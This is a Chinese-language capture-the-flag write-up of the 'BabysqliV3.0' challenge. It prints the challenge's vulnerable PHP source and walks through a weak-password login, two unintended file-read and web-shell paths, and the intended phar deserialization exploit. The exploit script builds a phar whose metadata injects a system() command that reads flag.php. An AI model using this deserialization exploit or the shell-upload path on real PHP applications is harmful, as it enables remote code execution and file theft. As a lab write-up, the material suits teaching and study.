本文最后更新于:2023年8月25日 下午
[TOC]
[BabysqliV3.0]phar反序列化
开始以为是sql注入
账号为:admin,一直试都没反应,后来发现可以弱口令,密码:password
一个文件上传页面:
在file参数存在文件包含:
home.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php session_start(); echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>"; error_reporting(0); if(isset($_SESSION['user'])){ if(isset($_GET['file'])){ if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){ die("hacker!"); } else{ if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){ $file = $_GET['file'].".php"; } else{ $file = $_GET['file'].".fxxkyou!"; } echo "当前引用的是 ".$file; require $file; }
} else{ die("no permission!"); } } ?>
|
upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<form action="" method="post" enctype="multipart/form-data"> 上传文件 <input type="file" name="file" /> <input type="submit" name="submit" value="上传" /> </form>
<?php error_reporting(0); class Uploader{ public $Filename; public $cmd; public $token;
function __construct(){ $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/"; $ext = ".txt"; @mkdir($sandbox, 0777, true); if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){ $this->Filename = $_GET['name']; } else{ $this->Filename = $sandbox.$_SESSION['user'].$ext; }
$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';"; $this->token = $_SESSION['user']; }
function upload($file){ global $sandbox; global $ext;
if(preg_match("[^a-z0-9]", $this->Filename)){ $this->cmd = "die('illegal filename!');"; } else{ if($file['size'] > 1024){ $this->cmd = "die('you are too big (′▽`〃)');"; } else{ $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');"; } } }
function __toString(){ global $sandbox; global $ext; return $this->Filename; }
function __destruct(){ if($this->token != $_SESSION['user']){ $this->cmd = "die('check token falied!');"; } eval($this->cmd); } }
if(isset($_FILES['file'])) { $uploader = new Uploader(); $uploader->upload($_FILES["file"]); if(@file_get_contents($uploader)){ echo "下面是你上传的文件:<br>".$uploader."<br>"; echo file_get_contents($uploader); } }
?>
|
这题有两个非预期解:
1 2 3 4 5 6 7 8
| if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){ $this->Filename = $_GET['name']; }
if(@file_get_contents($uploader)){ echo "下面是你上传的文件:<br>".$uploader."<br>"; echo file_get_contents($uploader); }
|
我们可以控制文件名的参数,并且获取文件名的文件内容
非预期解1:
我们直接读flag.php:
非预期解2:
我们可以直接上传一个shell:
预期解:
phar反序列化
难点主要是需要绕过:token
1 2 3 4 5 6
| function __destruct(){ if($this->token != $_SESSION['user']){ $this->cmd = "die('check token falied!');"; } eval($this->cmd); }
|
但是如果上次文件不加name参数,会讲session写入文件名:
随便上传一个文件,获取token
构造phar文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class Uploader{ public $Filename; public $cmd = "system('tac /var/www/html/flag.php');"; public $token = "GXY2088cabe1723182d413a31dd560b1766"; }
@unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $o = new Uploader(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering();
|
我们将phar文件上传上去:
然后在文件名中包含phar://
,配合file_get_contents()
就会将phar反序列化,获得flag